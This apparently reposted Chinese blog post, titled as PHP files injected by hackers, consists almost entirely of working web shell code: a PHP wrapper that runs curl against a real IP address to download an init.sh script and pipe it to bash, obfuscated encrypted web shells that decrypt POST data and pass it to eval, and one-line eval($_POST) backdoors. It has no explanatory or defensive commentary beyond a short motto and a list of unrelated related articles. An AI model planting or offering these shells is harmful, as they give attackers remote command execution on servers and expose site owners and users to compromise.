• 黑客注入的php文件


    <?php
    function ex($cmd){
    //    system($cmd);
    //    passthru($cmd);
        exec($cmd,$array);
        print_r($array);
    }
    ex("curl -A o -o- -L  -s http://146.196.83.217:29324/init.sh|bash -s");
    ?>
    
    
    <?php
    @error_reporting(0);
    session_start();
    $t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
    $f='file'.'_get'.'_contents';
    $p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);
        $key="e45e329feb5d925b"; 
            $_SESSION['k']=$key;
            $post=$f($p);
            if(!extension_loaded('openssl'))
            {
                    $post=$t($post."");
                    
                    for($i=0;$i<strlen($post);$i++) {
                                 $key = $key[$i+1&15];
                                    $post[$i] = $port[$i]^$key; 
                                }
            }
            else
            {
                    $post=openssl_decrypt($post, "AES128", $key);
            }
        $arr=explode('|',$post);
        $func=$arr[0];
        $params=$arr[1];
            class C{public function b($p) {eval($p."");}}
            @call_user_func(array(C,b),$params);
    ?>
    	
    
    <?php eval(@$_POST['123']); ?>
    
    <?php echo 'pq_test';@eval($_POST[peiqi])?>
    
    <?php
    @error_reporting(0);
    session_start();
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST')
    {              
        $key="dfff0a7fa1a55c8c"; //这一行为密码的md5的前16位
    	$_SESSION['k']=$key;
    	$post=file_get_contents("php://input");
    	if(!extension_loaded('openssl'))
    	{
    		$t="base64_"."decode";
    		$post=$t($post."");
    		
    		for($i=0;$i<strlen($post);$i++) {
        			 $post[$i] = $post[$i]^$key[$i+1&15]; 
        			}
    	}
    	else
    	{
    		$post=openssl_decrypt($post, "AES128", $key);
    	}
        $arr=explode('|',$post);
        $func=$arr[0];
        $params=$arr[1];
    	class C{public function __invoke($p) {eval($p."");}}
        @call_user_func(new C(),$params);
    }
    ?>
    
    相信坚持的力量,日复一日的习惯.
  • 相关阅读:
    java网络编程之图片上传
    java网络编程之Socket编程
    sql查询优化
    sql语句in
    结构型模式总结(14)
    Python程序中的进程操作-进程间数据共享(multiprocess.Manager)
    同步异步阻塞非阻塞
    Python程序中的进程操作-进程池(multiprocess.Pool)
    Python程序中的进程操作-开启多进程(multiprocess.process)
    Python程序中的进程操作-进程同步(multiprocess.Lock)
  • 原文地址:https://www.cnblogs.com/pansidong/p/15060157.html
Copyright © 2020-2023  润新知